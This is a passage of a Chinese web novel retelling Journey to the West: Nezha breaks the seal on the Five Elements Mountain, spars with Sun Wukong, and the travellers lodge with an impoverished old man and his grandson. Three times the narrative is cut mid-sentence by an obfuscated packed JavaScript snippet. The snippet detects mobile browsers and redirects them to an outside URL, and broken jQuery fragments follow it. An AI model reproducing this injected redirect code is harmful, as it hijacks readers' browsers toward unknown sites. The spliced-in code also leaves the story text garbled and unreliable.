“小神哪敢瞎掰!”土地公跺着脚比划,“那位爷当年从南天门一路打到通明殿,蟠桃宴的酒坛子碎了一地,老君的炼丹炉都给蹬翻啰!您瞅见山头黄符没?那就是佛祖的封条!”
唐僧攥着佛珠直摇头:“阿弥陀佛,竟然这般凶顽……”
唐僧偷瞄了眼正摩拳擦掌的哪吒,心里苦得跟吞了黄连似的——他原想观音菩萨会派几个吃斋念佛的护法,谁成想净给派些混世魔王。前头这个小煞星能把天捅个窟窿,现在又来个砸过凌霄殿的齐天大圣,这哪是取经队伍,分明是造反天团!
“听上去还挺带劲儿的!”哪吒兴奋得双颊泛红,“麻烦你帮忙看紧这和尚!小爷去见识见识这齐天大圣长什么模样!”
哪吒踩着风火轮蹿到半空,刚才在山脚下没看真切,这一上天可开了眼。这山长得真邪门——五根山柱子青红黄白黑排得齐整,活脱脱是个倒扣的佛手印。山顶上贴着金灿灿的封条,流转的光丝儿直往外冒,半山腰的云雾都凝成梵文,把整座山锁得死死的。
“这整座山都是阵法吧?可真舍得下本钱。”哪吒咂着嘴直摇头,他一琢磨也是这个道理,要光是个石山哪镇得住齐天大圣,这漫山遍野的佛咒法阵才是关键所在。
哪吒先飞到山顶,就如土地公所说,果然见着张泛金佛帖。他刚伸手要揭,整座五行山嗡地泛起金光,震得山石哗啦啦直往下掉。
哪吒眼珠子一转就明白过来,这佛帖就是大阵的阵眼。只要揭了它,满山的禁制准得散个精光。不过哪吒倒不急,他倒想先看看,这大闹天宫的齐天大圣究竟是何等模样。
哪吒风火轮一收,跟跳水似的直愣愣往下扎,落脚处却是块长满青苔的滑石头,他脚底刚沾着石头面儿,那石头竟然还开口说话了:“呔!何方妖孽敢拿你孙爷爷当踏脚石!”
哪吒就势往后翻了个跟斗,定睛一看,只见乱石堆里卡着颗毛茸茸的脑袋,雷公脸上沾满青苔和泥土,活像颗长了毛的土豆。他不禁有些失望,这倒霉猴子该不会就是刚刚说的齐天大圣吧?
再看唐僧那头,土地爷拄着拐杖陪他唠了半晌,听他念叨这两天的惊险事儿,捋着白胡子直咂嘴:“圣僧啊,这双叉岭的妖怪顶多算盘开胃小菜。往后西去十万八千里,那真是三步一妖精,五步一魔头。您要顺顺当当走到西天,可全得靠这俩徒弟撑场子。”
唐僧困惑道:“贫僧哪来的徒弟?”
“您方才没听见?那大圣嚷嚷着要师父救命,喊的就是您呐!”见唐僧还发懵,土地公忙凑近了说,“菩萨早就安排好了,但凡护您取经的都得拜在您门下,要不怎么镇得住他们呐?”
唐僧这才回过味来,按世间规矩,师父的辈分大过天,有个“一日为师终身为父”的说法,菩萨这般安排,分明就是让他名正言顺地使唤他们。要不然就凭小哪吒和齐天大圣的本事,哪轮得到他吆五喝六的。
“原来如此。”唐僧虽是个榆木疙瘩,但也能明白这到底是怎么回事儿。这小哪吒一直藏着掖着不肯提拜师的事,而且这一路横挑鼻子竖挑眼,多半是瞧不上自己这便宜师父。
正说着话,山那头突然炸开轰隆隆的闷响。抬眼望去,整座五行山跟发癫的巨兽似的摇晃起来,山顶佛帖金光乱窜,山石裹着烟尘噼里啪啦往下滚。
“这这这……”土地公老脸煞白,“老朽守了五百年的山呐!莫不是要塌了!”
“停停停!别震了!脑浆子都要晃成豆腐脑了!”孙悟空捂着耳朵直嚷嚷,那碎石砸在他脑袋上就跟挠痒痒似的,可那金帖震出的佛光实在要命,就仿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146012|163632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
佛有人拿铜锣在他天灵盖上敲,震得他眼冒金星。
五百年前刚被压那会儿,孙悟空每挣扎一次,就被这佛光震得七荤八素。后来学乖了才消停,哪承想今儿个又尝到这脑仁打转的滋味。
孙悟空这会儿悔得肠子都青了,方才他跟那小鬼嘴欠呛了几句,他一时兴起说了句:“有本事揭了山顶佛帖,放爷爷出来单挑。”
可他光顾着耍嘴皮子,忘了说最关键的部分——这破帖子得等菩萨钦点的取经人来撕!
哪吒这性子哪受得了激,倔脾气一上来,抄起火尖枪噌地就往山顶蹿。哪想到刚沾着金帖边儿,佛光就嗡地一声把他震飞开来,他整个人就跟断线风筝似的被掀飞了出去,连着撞断山脚下的两棵歪脖子树才刹住车。
“呸!”哪吒吐掉嘴里的树叶梗子当场炸毛,踩着风火轮在半空划出赤色火线,三昧真火轰地顺着枪杆窜成条火龙,直扑山巅金帖,“什么狗屁破纸,小爷今天非给你烧穿不可!”
眼见那佛光被烈火烧得滋啦作响,金帖突然暴涨三丈高,千百只佛光凝成的巨掌挟着梵音劈头盖脸砸下来——敢情这佛帖也急眼了!
哪吒旋身猛地甩出混天绫,那红绸子迎风展开成遮天蔽日的赤色漩涡。他手腕再一抖,红浪翻涌着把半数金佛掌直接绞碎。
剩下那些佛掌拍在火尖枪上,震得枪杆嗡嗡作响,但这金帖毕竟不是活物,哪料到哪吒袖中突然窜出个金灿灿的圈儿——乾坤圈跟道金色闪电似的,“嗖”地穿透层层佛光,照准金帖本体就是咣当一记重锤。
“当——”
撞钟似的巨响震得整座山都在晃,那乾坤圈沾到金帖就腾起黑烟,哪吒骨子里蛰伏的九幽戾气,此刻跟滚油泼雪似的啃噬佛光。
那金帖慌忙收拢佛光要护本体,可这正合哪吒心意,他咧嘴一笑:“现在才想跑?晚啦!”
“给小爷破!”
哪吒暴喝一声,左手攥着混天绫尾端猛拽,被绞碎的金光佛手竟被他扯成漫天金粉,右手火尖枪抡得跟风车似的,每戳一枪山体就跟着轰隆隆发出一声震响。石缝里突然钻出七八条佛光锁链想绑他,还没沾着衣角呢,就被他浑身冒的黑红戾气滋啦烧成青烟。
当最后一缕佛光被戾气吞噬时,原本金光灿灿的佛帖已经灰扑扑像块旧铜镜。一声撕布般的刺耳脆响过后,一道裂纹从两界山正中央闪电般绽开。
这座镇压了孙悟空整整五百年的五行山刹那间如地动山摇般轰鸣震颤,漫天沙石飞扬,待得尘土落定,巍峨山体已经彻底裂成两半。
孙悟空觉得身子突然轻了,可还跟做梦似的,山崩地裂的当口,一声猿啼刺破长空。眨眼功夫,天地间就杵着个金毛身影。
“嗬!想不到你这小娃娃倒真有两把刷子。”孙悟空揉着发麻的肩膀,火眼金睛扫过正撑着膝盖直喘粗气的哪吒,这小鬼头脸上还沾着灰尘,倒教这齐天大圣抓破脑袋也想不明白——怎的连如来老儿的封印,竟叫这藕节似的娃娃给捅破了?
18.第 18 章
“那还用你说!小爷可是陈塘关哪吒!”虽说脑门上的汗珠子还在往下滚,哪吒的小胸脯倒是挺得笔直,“不过你先前死乞白赖说要跟着取经,小爷我可还没点头呢!”
观音菩萨和太乙真人都忘了提前跟他讲,这小魔王哪知道取经路上早定好了四个人的位置,一直以为就自己独一份的差事。原本他想着陪那没用的白脸和尚走趟西天,一路斩妖除魔附带游山玩水,还能积攒一大笔功德修得金身,倒也算得上不错。
如今凭空冒出个猴子也要掺和进来,岂不是功德也要被他分去一部分?这买卖怎么想都亏得慌。
“这是观音菩萨亲口许给俺老孙的差事,哪轮得到你个小豆丁说三道四?”孙悟空火眼金睛瞪得溜圆,“俺要是偏要保那和尚上西天,你这奶娃娃还想拦路不成?”
“你够不够格取经,得先问过小爷手中的火尖枪!”
哪吒把火尖枪转了个枪花扛在肩上,斜着眼睛打量眼前的毛脸雷公。
他倒也没打算跟孙悟空过不去,只是纯粹好奇,先前土地老儿把这猴子吹得天花乱坠,什么齐天大圣,什么大闹天宫,听着倒是威风,结果连张破符咒都自个儿揭不下来,别是个中听不中用的绣花枕头吧?
自打哪吒到这西游世界以来,不论是七绝山的蟒蛇精,还是双叉岭的虎大王,在他面前那都跟纸糊的似的,全是被他三枪捅个对穿的货色,还没刚刚山顶那破佛帖难缠。要是这猴子也是个三脚猫功夫的,还不如趁早打发了去,省得路上多带个拖油瓶,回头还要平白分他三成功德。
而孙悟空这五百年在山底下憋得都快长蘑菇了,这会儿浑身骨头跟生锈了似的,正愁没处活动筋骨呢。方才见了哪吒展露出来的本事,他金睛火眼直放光,扭着脖子把指节掰得噼啪响:“小娃娃说谁没本事呢?”
孙悟空这辈子被人骂过泼皮无赖,被笑过猴急毛躁,可要说他孙大圣本事不行?这还真是大姑娘上轿头一遭,实在听着新鲜得很。
眼见哪吒踩着风火轮窜上半空,孙悟空呲着牙从耳窝里掏出根绣花针,吹口气就变成碗口粗的如意金箍棒。他细细摩挲着金箍棒上的纹路,棒身上“如意金箍棒”五个古篆还泛着幽幽金光,不由得笑道:“老伙计,好久不见了。”
“先吃小爷一枪!”
哪吒话音未落,火尖枪已裹着三昧真火劈开云层,直冲山下那道金色身影劈头砸下。
“来得好!”孙悟空金箍棒横架时,整片山头轰隆下沉,冲击波把旁边的松林都吹倒了一片。他竟半步不退,脚下山岩早碎成齑粉,偏那根铁棒稳如定海神针。
“有点意思!”哪吒眼睛唰地亮起来,混天绫突然从身后窜出,活似条赤鳞蛟龙死死绞住金箍棒。孙悟空只觉得手上一沉,刚想使劲儿,却没想到这红绸子沉得跟泰山压顶似的,而寒芒似的枪尖已经逼近胸口。
孙悟空眼珠子一转,金箍棒突然缩成绣花针粗细,混天绫顿时缠了个空,眨眼间棍子又暴涨百倍变作擎天柱,棍头轻轻一挑就把火尖枪荡开三丈远。
火尖枪连同混天绫织成赤色罗网,孙悟空却把金箍棒舞成金色飓风,两人从崩裂的山巅打到翻涌的云海,火尖枪涌出的地火与金箍棒搅动的罡风把天空割成红金两色。
土地公抱着脑袋往地缝里钻,同时也不忘念个法诀护住唐僧,嘴里直念叨:“造孽啊!这两位爷怎么在这就打起来了!”
唐僧盯着眼前天崩地裂的架势,脸色煞白地贴着山石。先前在妖窟里被捆着,哪吒收拾满窟妖怪连个大的响动都没有,后来打虎时也是轻飘飘几下完事儿,他其实没真正见识过哪吒的手段。
直到现在,唐僧才头回见识这俩人的真本事,差点没把魂儿吓飞。此前他还当这土地公在说大话,如今看着金箍棒掀起的罡风削平了半座山头,混天绫卷得云海翻起滔天浪,才知道那土地公说话还打了对折。
这齐天大圣的名号果然不虚,可那个扎着冲天鬏的小哪吒,竟然也能打得有来有回,这能耐当真超乎他的想象。这么两位神仙来给他当徒弟?他一个凡胎肉/体的和尚哪儿消受得起?
哪吒枪尖专从旁人想不到的刁钻角度出枪,孙悟空却跟后脑勺长了眼睛似的,总能在节骨眼上架住杀招。最让哪吒百思不得其解的是,这猴子看似野路子乱打一气,居然打着打着就摸清了他枪法路数,数十个回合下来,竟能提前预判他七成攻势。
最气人的是那根金箍棒,一会轻飘飘像根柳条儿,转眼又重得压得人喘不过气,倒让哪吒越打越憋屈,浑身的劲儿都使不出来。
孙悟空甩着震麻的虎口直咧嘴,这娃娃胳膊还没藕节粗,力气倒比天庭那个号称力大无穷的巨灵神还沉,而且身上还有些法宝藏着一直没用。这要是再给他千年道行,往后怕是了不得的人物。
就是有桩怪事他一直没想明白,这娃娃活脱脱跟那天庭三太子一个模子刻出来的,连法宝都分毫不差,到底是从哪儿冒出来的?
既然两边都探清对方斤两了,这架自然没有再打下去的必要,孙悟空用金箍棒格开刺来的火尖枪,突然收棍后撤,漫天棍影顿时消散:“行了!不打了!”
哪吒见孙悟空虚晃一棍要退,也就顺水推舟撤了火尖枪的力道。两人各自收势,脚下是碎成齑粉的山石——方才还只是裂成两半的五行山,被这俩活祖宗的枪风棍影扫过,这会儿碎得跟被铁锤砸过的核桃似的,连块大一点的整石头都找不着了。
这五行山塌成这副模样,倒有大半是孙悟空有意为之,他故意把哪吒的火尖枪往这山头上引,金箍棒每回砸下去也多使了几分劲儿,被压了五百年的怨气,全撒在这堆倒霉石头上了。索性这座山上全是阵法,也不见飞鸟走兽,倒也不必担心生灵涂炭。
“咳咳……”孙悟空假意咳嗽两声,眼角余光扫到哪吒手腕发颤。到底是活了几千年的老江湖,他早就看出来这小娃娃身子骨有暗伤,毕竟先前揭佛帖也花了不小力气,若是真把人家打伤了,那岂不是成了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15149894|163632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
恩将仇报?他老孙是那样的人嘛!
“念在你放俺老孙出来的份上,今儿就到这儿了 !”孙悟空把金箍棒往肩头一甩,他筋骨也活动得差不多了,“省得让人说俺欺负奶娃娃!”
“哼,要不是小爷今早没吃饱……”哪吒踩着风火轮晃晃悠悠落地,混天绫早蔫巴巴耷拉在肩头。他先前揭帖时耗了些法力,这会又与孙悟空斗过一场,早已累得不行,但下巴依旧扬得能挂灯笼,嘴上也不饶人,“下回可没这么便宜!”
他看似不服输,心里门儿清——若是不动乾坤圈,单凭武艺还真压不住这天生地养的灵猴。
灵山宝殿上,阖目打坐的如来佛祖突然睁眼,摊开的掌心凭空裂开道血口子。虽说这伤口细得跟头发丝差不多,眨眼功夫就愈合了,可到底是破天荒头一遭——自打他修成正果以来,还没人能伤他半根汗毛。
“我佛可是有所参悟?”阶下十八罗汉之首的迦叶尊者合十发问,却见佛祖掌心佛光流转如常。
“不过是金蝉子行至五行山罢了。”如来捻着佛珠的手顿了顿,声音还跟往常般四平八稳,“正好,也让他头疼头疼那泼猴。”
如来垂眼望着莲花座下的云海翻涌,那金帖是他亲手写的六字真言,那五行山是他手掌法相所化,本该随金蝉子伸手揭掉,如今却被人硬生生了撕了下来,还被蛮力毁去了山脉。
这事儿说大不大,可就跟吃饭咬到沙子似的硌得慌,到底让他眼皮跳了三跳。
土地公拄着拐杖的手直哆嗦,眼睁睁看着整座五行山轰隆隆塌在眼前,原本被山势遮住的天空突然敞亮起来,可他心里像压了块大石头——这镇了齐天大圣五百年的山说没就没了!会不会被上头问责啊!
唐僧这会儿也想明白了,甭管哪吒和孙悟空有多大能耐,观音菩萨既然安排他们来护送自己去西天,保不齐就是要借这取经路磨平他们浑身戾气,引他们修成正果。
只是想到自己这半点神通都不会的和尚,要管束这两个能把天捅破的主儿,就连他自个儿都不信!
“痛快!真痛快!你这小娃儿,虽说是个冒牌货,但手上本事倒是不小,赶得上那正牌三太子了!”孙悟空咧着嘴直乐呵,刚刚跟这小哪吒干上一架,浑身筋骨都活络开了,连脚趾头都透着舒坦劲儿。
“呸!要不是小爷撕那破符费了老劲,早把你敲出三界外了!”哪吒不服气地说道,“再敢说小爷是冒牌货!是不是想再吃小爷三枪!”
话虽这么说,哪吒心里却是觉得这孙悟空确实有两把刷子,比起前些日子那些被他一枪挑飞的虎妖,倒真配得上“齐天大圣”这名号。
“两位爷别打了!都是一家人、一家人!”土地公瞅着哪吒又要挺枪,连滚带爬拦在中间,刚刚要不是他死死护住缩在岩石后的唐僧,这和尚脑袋早被崩成释迦摩尼头了。
“谁跟这猴子一家人!”
“谁跟这娃娃一家人!”
俩人异口同声,如出一辙。
19.第 19 章
这俩嘴上互不相让,实际上方才那场天崩地裂的较量,早把彼此的本事摸了个底儿透,打完架倒生出几分惺惺相惜。
可唐僧哪懂这里面的弯弯绕绕,在他眼里这就是俩活阎罗碰面,见面就开始掐架,打得日月无光山崩地陷,愁得他直冒冷汗——往后这俩要是三天两头就来这么一出,该如何是好?
唐僧尤其是想到刚才飞沙走石的场面,刚刚要是没土地公护着他,若是被崩飞的石头砸着,怕不是连阿弥陀佛都来不及念,就得去见了佛祖。
“怎么着,还嫌俺老孙不够格取经?”孙悟空挑了挑眉毛。
哪吒鼻孔朝天哼道:“勉勉强强凑合吧,能当个马夫使唤。”
“俺跟你这小屁孩儿较什么真儿,横竖你说了也不算数!”孙悟空话音刚落,人已经三步并两步蹿到唐僧跟前,“师父哎师父!您可算来了!俺老孙在这山下盼星星盼月亮,可算把您盼来了!”
猴王说着话,金闪闪的眼珠子眨得跟打闪似的,生怕这和尚会腾云驾雾跑了。
当年大闹天宫的齐天大圣,如今衣裳破得跟渔网一样,金灿灿的猴毛都沾着草屑泥巴,看着是有点儿寒碜,活脱脱像个逃荒的猢狲。可那毛脸喜得眉开眼笑,火眼金睛亮得能照见人影,浑身上下都透着股欢实劲儿。
唐僧见他倒还懂礼数,悬着的心稍微往下放了放。可边上那匹白马就惨了,四蹄发软直接跪倒在地——要怪就怪这猴头当过天庭弼马温,管着十万天马,身上带着一股管马的官威,寻常凡马压根经受不住。
唐僧有些心疼这匹陪自己出生入死的老伙计,摸着鬃毛给它顺气,他转头问向孙悟空:“不知神猴如何称呼?”
“什么神啊仙的,也太见外了!”孙悟空见那白马腿肚子发软的模样,也不好太过靠近,“俺姓孙,法名悟空,师父您叫俺悟空就成!”
“打住打住!”哪吒踩着风火轮横插进来,往两人中间一拦,“你怎么就乱认起师父来了?”
“你个小屁孩懂个屁!”孙悟空被他这一搅和,皱起眉来,“观音菩萨亲口说的,只要俺改邪归正,就有东土圣僧救俺出山,俺就给他当徒弟护送去西天!”
“菩萨只说圣僧救你,可撕符揭帖的是小爷我!”哪吒神气活现地得瑟道,“按这规矩,你得叫声小爷师父!
“当年俺老孙大闹天宫时,你小子怕是还没投胎呢!”孙悟空嗤笑一声,“也配让俺老孙喊师父?”
“小爷在陈塘关斩妖除魔的时候,你这猴子还是根猴毛呢!”
虽然哪吒此时并不知道这孙悟空是灵石所化,但商周时期,这猴子确实还是块风吹日晒的顽石。
“你这细胳膊还没俺金箍棒粗呢!”
“弼马温,听起来好听,你这官儿不就是小爷府上的马夫?”
“菩萨虽这般说,可贫僧不过是个凡间和尚,怎当得起神仙的师父。”眼看俩人斗着嘴又要掐起来,唐僧连忙当和事佬,他颇有自知之明地说道,“要不这么着,二位就做个护法神将,咱们结伴西行如何?”
“这主意倒也不错。”孙悟空顺杆儿爬得飞快,其实要不是观音菩萨发话,他才懒得拜师。在他心里头,只有灵台方寸山的菩提祖师才配得上师父这个称呼。再说真要论起来,揭符救他的是哪吒,按这理儿他还得管这小屁孩叫声师父呢,想想都膈应得慌。
“喂喂喂!观音菩萨金口玉言都不作数了!”哪吒叉着腰不满道,“三言两语就把小爷的徒弟整没了!”
虽说他自个儿也没当真要收徒,但到嘴的便宜没占着总归不痛快。
边上土地公瞅准空档,颠颠儿凑过来作揖:“圣僧好福气!有这两位神通广大的大仙护着,取经路上保准平平安安。小老儿先给您道喜了!"
唐僧连忙合十还礼,心想自己不死在这两位手上就算福大命大了。
孙悟空又挨个问过姓名,听到“唐三藏”这名号倒没什么稀奇,待听得小娃娃再次报出“哪吒”名号时,他牙齿差点咬到舌头——先前还当是这娃娃满嘴跑马,如今看来还真是这名字。
孙悟空倒是觉得奇怪,这天上地下独一份的三太子名号,怎么还能撞名不成?可瞧那风火轮和混天绫,却又是货真价实的法宝,但他也没急着追问,只是暂且将这困惑揣进肚子里。
“前头有个庄子,眼瞅着天黑路远,圣僧不妨去借宿?”土地公拄着拐杖往西边指,心里巴不得赶紧送走这俩瘟神,“夜里山风可冷得要命!”
往庄子走的路上,哪吒跟得了多动症似的,围着孙悟空打转,孙悟空被瞅得浑身刺挠:“你这小孩,闲着没事儿瞎瞧什么呢!”
“你那棍子呢?”哪吒见孙悟空两手空空,却是好奇道,“刚刚的铁棒怎么说没就没了,你藏哪儿啦?”
不止是哪吒,唐僧也抻着袈裟偷瞄——方才这猴子驾云落地时,明明扛着根碗口粗的铁棒,这会儿浑身上下连根铁钉都找不着。
“说起俺这如意金箍棒,那可是东海龙宫的镇海神铁……”孙悟空得意得尾巴都要翘上天,手指头往耳朵眼里一掏,拈出根绣花针似的物件。只见他对着针尖吹了口气,眨眼间就变成丈二长的铁棒。
“哇——这个带劲儿!”哪吒眼珠子唰地冒精光,蹦着高儿就要抢。悟空耳朵一抖,金箍棒滋溜缩回耳洞,急得哪吒揪着他胳膊直晃荡。
见猴子不买账,哪吒转头拽住唐僧袈裟:“和尚快让他掏出来!给小爷耍耍!”
唐僧被晃得眼冒金星:“悟空,让他耍两下又何妨……”
“你可别惯着他!”孙悟空抢过话头,“这金箍棒足有一万三千五百斤重,哪敢给这皮孩子耍?这铁棒砸下来,甭说这小胳膊小腿,就是砸着块石头,也得碎成八瓣儿!”
“吓唬谁呢!小气鬼喝凉水!”哪吒撇嘴道。
“要不就让他拿一下试试。”唐僧瞧着哪吒眼巴巴的样儿,忍不住打圆场。
“你就惯着吧!”孙悟空没好气地把金箍棒往地上一杵,本想看哪吒出糗。谁料这小
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15154199|163632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
祖宗小脸憋得通红,居然真把这重达万钧的定海神针摇摇晃晃举起来了。孙悟空一拍脑门——好家伙!咋就忘了这熊孩子是天生神力呢!
“还真有些沉!”哪吒有些不适应这金箍棒的重量,单手没抡动,憋红了脸改双手抱着。棍子刚晃半圈,他一个趔趄,棍子擦着唐僧边儿上过去,呼啦带起的风把旁边老槐树都刮断半边枝桠。
从鬼门关门口走过一遭的唐僧,汗珠子顺着光头往下淌,魂儿都快从袈裟里飘出来了,幸好刚刚那棍梢擦着他僧袍扫过,这要是挨实了,怕是当场就要去阎罗殿报到了!
“停手!快停手!”孙悟空一把抢回兵器,后脊梁直冒冷汗。这要是取经人让自家护法的金箍棒一棍子扫死了,这笑话够三界乐呵五百年,自己这齐天大圣的脸面往哪搁?
“好家伙!你这铁疙瘩还真有几分斤两!”哪吒甩着发酸的胳膊嚷嚷,“还是小爷的火尖枪趁手。”
三人牵着白马吵吵嚷嚷到了庄院门口,孙悟空却抓耳挠腮不进院门:"唐长老,俺老孙得告个假,先走一遭,明儿准回来!"
唐僧攥着缰绳追问:“这荒郊野岭的,你要去哪儿?”
“这才几步路啊,就嫌取经闷得慌了?”哪吒摇了摇头。
“去去去!”孙悟空难得正经起来,“不瞒你们,俺当年是花果山水帘洞的齐天大圣,那些猴崽子们不知这些年过得咋样。五百年了,总得回去瞅一眼才踏实。”
压在五行山下那些年,这心事一直压在心口。夜里他听山风呜咽,总恍惚听见小猴儿们吱吱叫唤。
“故土难离啊……”唐僧想起离长安时,唐王捧来的那杯混着家乡土的送别酒,喉头一哽,轻叹道,“是该回去看看,你且多待几日也无妨。”
“使不得使不得!”孙悟空直摆手,“取经事大,俺老孙明早准保踩着露水回来!”
“你那花果山离这多远?”哪吒好奇问道。
“约莫……”孙悟空掐指一算,“万把里路。”
“万、万里之遥?”唐僧以为这猴头要借机开溜,“这如何赶得及?”
“俺一个跟斗就是十万八千里,区区数万里,不过转瞬即至。”孙悟空一个筋斗翻上云头,“二位好生歇着,明儿见喽!”
果不其然,孙悟空翻个跟斗的功夫,踩着云彩嗖的就没影了,让哪吒仰着脖子直咂嘴——他这风火轮虽说打架时方便,可论起腾云的速度,还真比不过人家一个筋斗云的利索劲儿。
见孙悟空走远了,哪吒把门环拉得啪啪响:“里头喘气儿的快开门!”
“使不得!”唐僧慌忙拽住哪吒,“咱们借宿本就叨扰,岂能这般蛮横?”
他心下暗叹这俩都有些野性难驯,得空定要好好教教礼数才行。
整理好袈裟,唐僧轻叩门环三声,温声细语道:“主人家在吗?贫僧是从东土大唐去西天取经的和尚,路经宝地想借宿一宿。”
话没说完,门缝里探出个灯笼,照出张皱巴巴的老脸。
20.第 20 章
“东土来的和尚?”木门吱呀裂开条缝,开门的老丈缩着脖子往外瞧,灯笼照见唐僧的光头时刚松口气,转眼瞅见哪吒头顶的冲天鬏,眉头又拧成疙瘩,“瞧着倒是慈眉善目的,咋还带着个奶娃娃?”
方才哪吒那通擂鼓似的砸门,惊得老丈把茶碗都打翻了,这会儿攥着门闩的手还直哆嗦。瞧着这一僧一童的古怪搭配,心里直打鼓:这年头拐子都敢扮和尚了?别是拿和尚打掩护,专拐小孩的歹人?
“老头你瞧清楚了!小爷我可是这和尚的护法!你怕啥?”哪吒把胸脯拍得啪啪响,“就借我们住一宿!保管亏不了你们!”
老丈再打量了一番俩人,见唐僧合十行礼的恭敬样儿,这才卸下门闩:“长老莫怪,实在是这地界近来不甚太平,夜里听见响动就心慌。”
木门后头探出个总角小童,约莫比哪吒高半头,手里攥着根烧火棍,表情很是防备地盯着外边。老丈搂着孙儿肩膀往边上让:“两位师父里边请,当心门槛。”
“不太平?是闹大虫还是来狼群了?”哪吒巴不得再来几个练手的,给他涨涨功德,“小爷专治豺狼虎豹!保证连窝给它端了!
“这人心险恶,却比豺狼虎豹还可怕。”老头拍着娃娃后背直叹气,手指往西边黑漆漆的山路指,“前头山岭聚着伙强人,专劫过路客商,三天两头闹腾,你们路过可得当心一点。”
“几个毛贼也配叫事儿?该烧高香别撞上小爷才对!”哪吒鼻孔里哼出声响,他打妖怪都不带眨眼的,还怕这什么拦路贼?
老丈家的院子倒不小,迎面是青砖灰瓦的主宅,堂屋里供着褪色的财神像。左右两间厢房挂着蓝布帘,犁耙锄头却是锈迹斑斑,右手边空荡荡的牛棚里,草料槽积了层厚厚的灰。
这是正儿八经的三合院格局,想来后面还有间烧火做饭的偏屋,该有的家什一件不差——住人的、存粮的、喂牲口的样样周全。
唐僧心下了然,这般家当,早年间准是个殷实门户,如今却只剩老丈带着孙儿守着空宅,也不知遭了怎样的变故。
正打量着堂屋房梁的工夫,灶房帘子一掀,老丈颤巍巍端着两个粗陶碗从灶房出来,黄不拉几的馒头在左边碗里打滚,右边碗里清汤似的米粥直晃悠。小孙子跟在后头,竹筷还没放稳就哧溜躲到爷爷灰布衫后头。
“就这些?连点油星子都没有!”哪吒用筷子戳着窝头直撇嘴,昨儿个还大鱼大肉,今儿就啃这粗粮疙瘩,这待遇降得也未免太快了,“这喂麻雀还差不多!”
“让两位师父看笑话了。”老丈搓着带补丁的衣角,说话间也有几分羞愧,“实在是缸里米面见了底,家中只有这些能待客了。”
唐僧掰了块馒头嚼着,酸味儿直冲脑门,显然是陈粮做的。他却面不改色咽下去:“施主客气了,这般已是叨扰了。”
“这哪能吃啊……”哪吒捏着鼻子把酸了吧唧的馒头推开,五官都挤成个包子褶,愣是咬不下去半口。
唐僧刚皱起眉头想提醒哪吒说话客气些,却见这娃娃已风风火火翻出包裹,哗啦啦抖落出来,桌上顿时堆满腌鹿腿、熏兔干——都是前日里猎户们硬塞的谢礼。
“见者有份!”哪吒瞅着瘦成豆芽菜的小孩盯着肉干直咽口水,直接抓把肉干塞进他怀里,“咱们一块吃呗!”
“这怎么好意思……”老丈一脸为难,可那孩子早被肉香勾得眼发直,抓起来就往嘴里塞,噎得直翻白眼还拼命抻脖子往下咽。哪吒砰砰拍他后背:“饿死鬼投胎啊?慢着点!管够你吃的!”
老丈喉结动了动,终究撕下半拉肉片,嚼着嚼着浑浊的老眼泛起红丝,上次家里沾荤腥都不知什么时候了。唯独唐僧捧着粗陶碗跟供菩萨似的,小口小口啜着稀粥。
“既然借了您老的屋檐,小爷可不占人便宜。”哪吒从腰带里摸出两块碎银子,“拿着扯几尺布,给这孩子做身新衣裳!”
虽然哪吒看起来比那孩子年纪还小,但说话做事却像个老江湖,一看就是经历过不少事儿的。
老丈攥着银子直哆嗦,拉着孙子就要磕头,被哪吒一把架住:“拜什么拜!给小爷腾个软乎床铺就行!”
经过这一出,唐僧觉着这爷孙俩对他们热络了不少,几人又唠了会儿家常,当听说他们把五行山下的孙悟空放出来时,老丈突然一拍大腿:“大圣爷真出来啦?”
哪吒搭茬:“老爷子还认识那猴子?”
老丈咧着嘴笑:“我半大小子那会儿还跟大圣搭过腔呢,听他亲口讲过大闹天宫的威风事儿。后来不知怎的再去那山里,明明顺着道走却总在原地打转,再没见着咯。”
哪吒心里门儿清,这八成是后来补的阵法,防着凡人乱闯。
唐僧双手合十感叹:“想不到咱们跟老丈还有这样的缘分。”
撂下碗筷,老丈就领着他们俩到了边上小屋:“这屋子原本是我儿子和媳妇住的,谁成想前年进城贩货,也不知遇见什么事儿,再没个音信。屋子空着也是空着,你们就凑合住吧。”
屋里虽说空了两三年,但家具被褥一件都不带少的,想来这老爷子心里头,八成还盼望着孩子们哪天推门回来呢。
哪吒草草抹了把脸,四仰八叉躺在床上,拽着唐僧的僧袍衣摆直晃:“和尚给小爷讲个故事呗!”
唐僧被缠得没法,闭着眼睛念了段金刚经,谁知这小祖宗嘴上嫌弃佛法,背得比庙里和尚还利索,惊得唐僧倒吸一口凉气。
“不想你竟有这般佛经底子,倒是贫僧眼拙了。”唐僧整着袈裟直摇头。
